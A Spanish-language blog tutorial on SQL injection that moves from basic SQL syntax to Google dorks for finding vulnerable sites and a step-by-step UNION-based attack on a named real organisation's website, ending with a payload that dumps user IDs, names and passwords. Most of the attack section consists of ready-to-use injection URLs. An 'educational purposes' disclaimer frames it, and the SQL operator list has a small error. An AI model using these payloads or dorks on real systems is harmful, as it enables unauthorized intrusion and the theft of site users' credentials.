Hola amig@s! En este tutorial les explicaré en qué consiste una inyección Sql(SQLi) el terror de los sitios web, este tutorial está enfocado a fines educativos y NO destructivos así que desde ya no nos hacemos responsables por el uso que ustedes le puedan dar a este tutorial, ya que es ilegal y penado por la ley en varios países hacer mal uso de estos recursos, sin mas empezamos con el tutorial!!
¿Qué es SQL?
La sigla SQL significa Structured Query Language, o su equivalente en Español Lenguaje de Pregunta Estructurado, Este es un lenguaje Universal que esta implementado en todos los Motores de Bases de Datos razón por la cual el SQL es el lenguaje estándar de comunicación entre los diferentes Motores existentes.
La creación de este lenguaje es sin duda alguna uno de los más importantes avances en el mundo de las bases de datos, si este no existiera, el tiempo que tomaría pasar información de un MBD a otro, seria realmente extenso y haría de los MBD algo complicado.
SQL es un lenguaje completamente normalizado que facilita el trabajo con cualquier tipo de lenguaje a la par con cualquier tipo de Base de Datos, sin embargo, esto no es equivalente a decir que es igual en todos los MBD, estos implementan diferentes funciones de acuerdo a la manera como mas favorezca al MBD, estas funciones no siempre funcionan en otros.
Hoy en día amig@s hay varios gestores de bases de datos sql por citar los mas importantes MySql, Posgresql, SqlServer entre otros.
Sintaxis de SQL
Comandos para definición de datos:
CREATE TABLE: Se utiliza para crear una nueva relación a la que se le asigna un nombre y unos atributos:
DROP TABLE: Borra una relación existente así como también sus atributos y la tupla asignada a esta relación
ALTER TABLE: Modifica la tabla, agrega un atributo a una de estas, además de cambiar la tupla del código de la Base de Datos
CREATE INDEX: Comando empleado para crear índices, estos índices se crean bajo un nombre y pueden ser eliminados cuando son innecesarios
DROP INDEX: Este comando es usado para borrar los índices de la tabla relacionada y la tupla del catalogo
Comandos para manipulación de datos:
SELECT: Esta instrucción tiene como fin, recuperar la información desde una base de datos. Existen funciones que están relacionadas con el comando SELECT, por ejemplo:
DISTINCT: Antes de ejecutar la sentencia SELECT, esta instrucción borrara todos los errores de redundancia de datos que puedan existir.
COUNT: Se utiliza para obtener el numero de valores en la columna
SUM: Suma todos los elementos de una columna, siempre y cuando estos sean numéricos
AVG: Hace un promedio de los datos numéricos de una columna
MIN o MAX: Se usa para obtener el mayor o menor valor de una Columna
COUNT(*): Se implementa para contar la orientación de una tabla sin eliminación de valores duplicados
GROUP BY: Reordena virtual, lógicamente y en grupos una tabla
HAVING: Esta sentencia se usa para eliminar grupos de datos
ORDER BY: Ordena la tabla en un orden especifico
EXIST: Esta función es una especie de calificador de existencia, es decir, evalúa todos los precoseos lógicos y se cumple cuando el retorno de estos no son nulos
Una subconsulta se hace combinando el Parámetro SELECT con cualquiera de las anteriores Instrucciones
UPDATE: Se utiliza para modificar los atributos de una o mas tuplas seleccionadas
DELETE: Comando utilizado para borrar las tuplas desde una relación, si se digita solo, se borran todas, pero al combinarlo con el comando WHERE, se pueden seleccionar las tuplas que se van a borrar
INSERT: Agrega una tupla a una relación, para esto se debe especificar el nombre de la relación y una lista ordenada de valores que se agregaran a la tupla
Operadores de Comparación
Hay nueve operadores de comparación en SQL:
= Igual
< > Distinto
< Menor
> Mayor
<= Menor Igual
<= Mayor Igual
between: Utilizado para especificar un intervalo de valores.
like: Utilizado en la comparación de un campo contra un patrón
in: Utilizado para verificar la existencia de un valor dentro de un conjunto de valores.
¿Qué es entonces Sqli [Sql injection]?
Wikipedia:
Inyección SQL es un método de infiltración de código intruso que se vale de una vulnerabilidad informática presente en una aplicación en el nivel de validación de las entradas para realizar consultas a una base de datos.
El origen de la vulnerabilidad radica en el incorrecto chequeo y/o filtrado de las variables utilizadas en un programa que contiene, o bien genera, código SQL. Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o script que esté embebido dentro de otro.
Se conoce como Inyección SQL, indistintamente, al tipo de vulnerabilidad, al método de infiltración, al hecho de incrustar código SQL intruso y a la porción de código incrustado.
Owasp:
Un ataque de inyección SQL consiste en la inserción o "inyección" de una consulta SQL a través de los datos de entrada del cliente a la aplicación. El éxito de vulnerabilidad de inyección SQL puede leer los datos sensibles de la base de datos, modificar los datos de base de datos (Insertar / Actualizar / Borrar), ejecutar operaciones de administración de la base de datos (por ejemplo, apagar el DBMS), recuperar el contenido de un presente determinado archivo en el archivo de DBMS sistema y, en algunos casos para ejecutar comandos del sistema operativo. Ataques de inyección SQL son un tipo de ataque de inyección, en el que comandos SQL se inyectan en la entrada de datos plano con el fin de efectuar la ejecución de comandos SQL predefinidas.
Bueno en síntesis SQLI es simplemente aprovechar la vulnerabilidad de una mala programación por medio de códigos arbitrarios haciendo que nos devuelva valores que se almacenan en la base de datos XD!!
Asumamos que nos metemos a un sitio X:
http://www.sitioxxx.com/noticia.php?id=3443
El sitio nos devuelve el contenido que se encuentra lo que en php sería:
Bien ahora qué pasa con las bases de datos? Sería esto:
Cómo podemos encontrar sitios vulnerables?
Bien enfocándome en el motor de búsqueda mas popular Google podemos usar los que se denominan "DORKS" , estos nos permiten buscar sitios por determinada característica por ejemplo queremos ver un sitio con "noticias.php" para saber si es vulnerable alguno de esos sitios podemos utilizar los comandos de SEO de google para verificar, existen gran cantidad de dorks para el mismo fin los mas usuales son inurl, allinurl, etc etc.
Lo podemos ingresar de la siguiente manera ya con dork en el motor de búsqueda:
El cual nos desplegará todos los resultados de sitios web con la terminación "noticias.php?id=" , ahora bien incluso ese dork lo podemos aún especificar mas, por ejemplo como vemos en la imagen usamos allinurl:: pero si quisiéramos por ejemplo que nos desplegara resultados de mmm que sería el dominio .net podríamos hacer el dork quedando así allinurl::.net/noticias.php?id= el cual nos mostraría los sitios con dominios .net y con noticias.php?id= pero eso dependiendo de qué estemos buscando.
Google actualmente provee un app específicamente con un sin fin de dorks que lo podemos encontrar en webstore, o bien para los que usamos también mozilla u otro navegador podemos encontrar dichos dorks en exploit-db para que podamos usarlo sin necesidad del app de chrome.
Y ahora como podemos ver si el sitio es vulnerable?
Esto es sumamente fácil para saber si determinado sitio es vulnerable a una inyección sql basta con algunos parámetros arbitrarios para verificar por ejemplo de un sitio normal:
http://sitiovulnerable.com/noticias.php?id=23
Este sería el sitio normal pero para saber si es vulnerable podemos usar variables no permitidas por por el lenguaje ejemplo:
http://sitiovulnerable.com/noticias.php?id='23
http://sitiovulnerable.com/noticias.php?id=23'
http://sitiovulnerable.com/noticias.php?id=-1
http://sitiovulnerable.com/noticias.php?id=*
http://sitiovulnerable.com/noticias.php?id="23"
Entre tantas mas opciones ya con esto nos arrojaría un error de sintaxis.
Bien ahora que ya sabemos lo básico entraremos en acción! Yo tengo un sitio que es vulnerable y se prestó para el tutorial jejejeje empecemos....
Como podemos ver este sitio nos arrojó un error de sintaxis SQL, cual nos indica que posiblemente se pueda ejecutar una inyección sql, luego de esto podemos verificar cuantas columnas tiene, con "order by numero columna--", esto igual puede ser algo tedioso pero si llegamos a dominar el orden incluso puede omitirse para que nos despliegue las tablas con error. Bien veamos el ejemplo que para mi poca fortuna tiene muchas tablas jejejeje y que para no ser tan tedioso solo pondré unas cuantas para que tengan idea pondré las primeras 4 y me saltaré al lugar donde me dio el erro:
/index2.php?id=5 order by 1-- (no sale error)
/index2.php?id=5 order by 2-- (no sale error)
/index2.php?id=5 order by 3-- (no sale error)
/index2.php?id=5 order by 4-- (no sale error)
/index2.php?id=5 order by 18-- (ERROR)
Ok con esto me dice en pocas palabras NO hay colunma 18... Entonces tiene 17!!!! wow fácil no? jejeje empezamos a inyectar para que nos despliegue las columnas vulnerables y esto lo hacemos con un llamado a la base de datos por medio de UNION+SELECT y el número de columnas que descubrimos que tenga el sitio, aunque hay varias maneras de hacerlo NO todos los sitios permiten determinadas formas, aunque la usual es -1+union+select+1, pero igual les mostraré las demás por si desean probar en sitios que ustedes estén auditando tomando el sitio que tengo como referencia:
EJEMPLO NO CONCRETO DEL SITIO A CONTINUACIÓN ACLARO PARA MALOS ENTENDIDOS
Aquí usando diferentes operadores:
.org.uk/index2.php?id=-1+union+select+1,2,3...--
.org.uk/index2.php?id=5 union select all 1,2,3....--
.org.uk/index2.php?id=5+union+select+1,2,3....--
.org.uk/index2.php?id=5/**/union/**/select/**/1,2,3...--
.org.uk/index2.php?id=56%09union%09select%091,2,3--
A todo esto es cuestión como repito del sitio en cuestión, ya no todos los sitios permiten ciertos operadores, es imperativo decirles que muchas veces hay que poner el "NULL" antes de los números del identificador por ejemplo id=- ya que así podremos trabajar de una mejor forma.
Mostrando columnas vulnerables:
Bien ahora al ejemplo concreto tomando en cuenta lo anterior, hacemos la inyección como mencioné en el sitio son 17 por lo tanto tengo que hacer llamado a 17 columnas.
http://www.snowdonia-society.org.uk/index2.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
El cual nos desplegará las columnas vulnerables como vemos en la siguiente imagen:
Mostrando versión SQL:
Aquí llegamos a un punto importante, ya que si la versión de MySql es menor a la 5 nos tendremos que ir imaginando las tablas D: cosa que no es muy agradable, recomiendo para los que empiezan que si se encuentran con un sitio con versión anterior a la 5 busquen otro jejejeje... Bien la manera para ver la versión y usuario(a veces) se puede hacer inyectando en la columna vulnerable comandos para ver la versión por ejemplo:
@@version
version()
(@@version)
Quedando de la siguiente manera en mi ejemplo...
http://www.snowdonia-society.org.uk/index2.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,@@version,11,12,13,14,15,16,17--
Y nos desplegará la versión 5.0.95 observemos la siguiente imagen:
Mostrando Tablas:
Si observamos aparecen dos números el 10 y 11 estos números se refiere a las columnas vulnerables donde podemos inyectar el número 10 es el mas resaltado, aunque podemos usar el 11 se ve mejor usar el 10 y digo literalmente se ve jejejeje, bien ahora vamos a decirle por medio de inyección que nos despliegue tablas en este paso también hay diferentes maneras las usuales es mostrar una a una o bien todas juntas mostraré las 2 mas usadas. Antes explico de forma simple que significan valores nuevos durante este tutorial:
concat: Concatena cadenas.
group_concat: Agrupa y concatena los datos.
table_name/column_name: Nombre de la tabla o columna.
information_schema.tables/columns: Información de tablas o columnas.
limit: Nos permitirá ir una a una mostrando tablas.
Ejemplo 1 :
http://www.snowdonia-society.org.uk/index2.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,group_concat(table_name),11,12,13,14,15,16,17+from+information_schema.tables--
Ejemplo 2:
http://www.snowdonia-society.org.uk/index2.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,table_name,11,12,13,14,15,16,17+from+information_schema.tables+limit+17,1--
En el primer ejemplo agrupa y concatena las tablas y las despliega todas juntas porque NO le pusimos un límite para ir una a una como vemos en la imagen, esta técnica es la mas común entre los que aún usan el pen-test web aunque yo en lo personal prefiero la segunda xD! veamos la imagen:
En el segundo ejemplo nos despliega una a una las tablas mediante limit+numerodetabla,1 que en mi caso la tabla interesante es la número 17 para esto tenemos que ir probando aumentando el limit y me arrojó la tabla defnyddiwr que es donde extraeremos los datos veamos la siguiente imagen del ejemplo 2:
Mostrando Columnas de la tabla:
Bien ahora necesitamos que nos muestre las columnas dentro de la tabla defnyddiwr, para esto necesitamos convertir el ASCII por defecto a DECIMAL ya que si no pues simplemente nos devuelve un error y lo hacemos de la siguiente manera sustituimos table_name por group_concat(column_name) esto para agrupar y concatenar lo que adentro de la columna se encuentre, y también pedimos donde el nombre de la tabla se convierta a decimal con information_shema.columns where table_name=char() pero para esto tenemos que cambiar el nombre de la tabla defnyddirw de ASCII a DECIMAL para esto podemos buscar un convertidor online por ejemplo http://easycalculation.com/ascii-hex.php que es el que utilizaré para este fin como vemos en la imagen:
Ya con esto tomamos el valor DECIMAL que es el primero y lo colocamos separado por comas "," y sin espacio entre el paréntesis de char, table_name=char(100,101,102,110,121,100,100,105,119,114)
quedando finalmente de la siguiente manera:
http://www.snowdonia-society.org.uk/index2.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,group_concat(column_name),11,12,13,14,15,16,17+from+information_schema.columns+where+table_name=char(100,101,102,110,121,100,100,105,119,114)--
Veamos los resultados que nos arrojó dicha acción en la siguiente imagen:
Como vemos estamos a un simple paso de conseguir usuarioID, Password y userName para esto tenemos que inyectar otro poco mas y se hará la magia jejejejeje...Entonces vamos a quitar todo después de +from y hacer llamado a la tabla directamente donde obtuvimos dicha información que es defnyddiwr, y también claro, tenemos que concatenar los valores de la siguiente manera:
concat(usr_id,0x3a,usr_name,0x3a,usr_wrd) donde "0x3a" es equivalente a " : "en hexadecimal esto lo hacemos para separar id, nombre, password o cualquier dato que queramos incluir, aunque podemos usar cualquier caracter para separar siempre y cuando lo pasemos a HEX anteponiedo claro para los que no saben el 0x3b. Al final quedaría de esta forma:
http://www.snowdonia-society.org.uk/index2.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,concat(usr_id,0x3a,usr_name,0x3a,usr_wrd),11,12,13,14,15,16,17+from+defnyddiwr--
Y SE HIZO LA MAGIA! nos acabamos de hacer del ID, nombre y password del usuario veamos la imagen-.....
Ya con esto se pueden imaginar lo que podríamos hacerle a dicho sitio, pero lo correcto es informar de la vulnerabilidad al webmaster.
Por lo pronto dejamos este tutorial hasta aquí luego veremos Blind Sqli(inyección sql a ciegas) y posterior a eso las soluciones para evitar esta grave vulnerabilidad, espero sea de ayuda y repito este tutorial es con fines educativos cualquier cosa que ustedes hagan está bajo SU responsabilidad, si tienen dudas estoy a la orden!! Me suscribo de ustedes amig@s by 4uxx-.
0 comentarios :
Publicar un comentario